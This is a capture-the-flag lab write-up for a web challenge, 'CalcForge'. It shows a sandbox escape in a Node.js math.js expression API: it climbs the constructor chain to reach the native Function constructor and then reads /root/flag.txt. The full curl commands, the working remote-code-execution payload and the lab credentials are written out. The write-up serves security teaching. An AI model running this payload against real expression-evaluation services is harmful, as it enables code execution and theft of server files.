Lab 60 — CalcForge — RCE via Expression Evaluator Sandbox Escape
Lab 60 — CalcForge — RCE via Expression Evaluator Sandbox Escape
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: constructor_chain_traversal, file_read_via_require_fs, function_constructor_rce, mathjs_sandbox_escape
Summary
Walkthrough of the CUSTOM Web Lab 60 — CalcForge — RCE via Expression Evaluator Sandbox Escape. Task: Node.js math expression evaluation API using math.js with unrestricted prototype chain access. Solution: Sandbox escape via constructor chain traversal (parse().constructor.constructor) to reach
Description
CalcForge is a developer-focused API platform by ForgeWorks Inc. that provides a powerful math expression evaluation service. Developers can sign up for API keys and use the interactive playground to test mathematical expressions — from basic arithmetic and trigonometry to matrix operations and statistical analysis. The platform features a documented REST API, usage analytics, computation history, and code examples in multiple languages.
English summary: A Node.js/Express math expression evaluation API that uses math.js. Users authenticate with API keys and submit expressions via POST /api/v1/evaluate. The goal is to exploit a vulnerability to read /root/flag.txt from the server.
Analysis
- Application stack: Node.js + Express backend with math.js library for expression evaluation
- Authentication: Login with
user@test.com / password123to obtain API keycf_3bf37fb3995dab6477e5cc0708d7e9d4df5444424c55d9a3 - API endpoint:
POST /api/v1/evaluateaccepts JSON{"expression": "..."}withX-Api-Keyheader - Decoy flags: HTML comments contain fake flags like
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}to mislead automated scanners - Key finding: The
parse()function is exposed to users, returning math.js AST Node objects. These objects maintain their full JavaScript prototype chain, allowing traversal to the nativeFunctionconstructor — a classic sandbox escape vector identical tonode:vmcontext escapes.
Solution
Step 1: Confirm math.js backend
Test basic expressions and identify the library:
bash read-only • copy allowed# Basic math works curl -sk -X POST "$URL/api/v1/evaluate" \ -H "Content-Type: application/json" \ -H "X-Api-Key: $API_KEY" \ -d '{"expression": "2+2"}' # Returns: 4 # parse() returns math.js AST node curl -sk -X POST "$URL/api/v1/evaluate" \ -H "Content-Type: application/json" \ -H "X-Api-Key: $API_KEY" \ -d '{"expression": "parse(\"1+1\")"}' # Returns object with fields: implicit, op, fn, args — confirms math.js
Step 2: Traverse constructor chain
bash read-only • copy allowed# Get Node constructor (a function) # parse("1").constructor → Node constructor # Get Function constructor (native) # parse("1").constructor.constructor → function Function() { [native code] }
This confirms the prototype chain is not restricted — we can reach the native Function constructor from any math.js AST node.
Step 3: Execute arbitrary code via Function constructor
bash read-only • copy allowedcurl -sk -X POST "https://47e8c0a4-726c-4af4-8b88-47beb30303a0.labs.hackadvisor.io/api/v1/evaluate" \ -H "Content-Type: application/json" \ -H "X-Api-Key: cf_3bf37fb3995dab6477e5cc0708d7e9d4df5444424c55d9a3" \ -d '{"expression": "parse(\"1\").constructor.constructor(\"return process.mainModule.require(\\\"fs\\\").readFileSync(\\\"/root/flag.txt\\\",\\\"utf8\\\")\")()"}'
The expression breakdown:
parse("1")— returns a math.js Node object.constructor— gets the Node constructor function.constructor— gets the nativeFunctionconstructor("return process.mainModule.require('fs').readFileSync('/root/flag.txt','utf8')")— creates a new function with our code()— immediately invokes it in the main Node.js context
Why this works
Math.js's parse() function returns AST node objects that are regular JavaScript objects. Their prototype chain leads back to the main V8 context:
parse("1") → Node instance
.constructor → Node (function)
.constructor → Function (native constructor)
("code")() → executes in main context, full access to process/require
This is the same vulnerability class as node:vm sandbox escapes. Any JavaScript object that maintains its prototype chain to the outer context can serve as an escape vector. The math.js library does not freeze or null out the prototype chain on returned objects.
Key Takeaways / Lessons
- Mastering constructor_chain_traversal, file_read_via_require_fs, function_constructor_rce, mathjs_sandbox_escape was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-05 • CUSTOM • Lab 60 — CalcForge — RCE via Expression Evaluator Sandbox Escape • Difficulty: Medium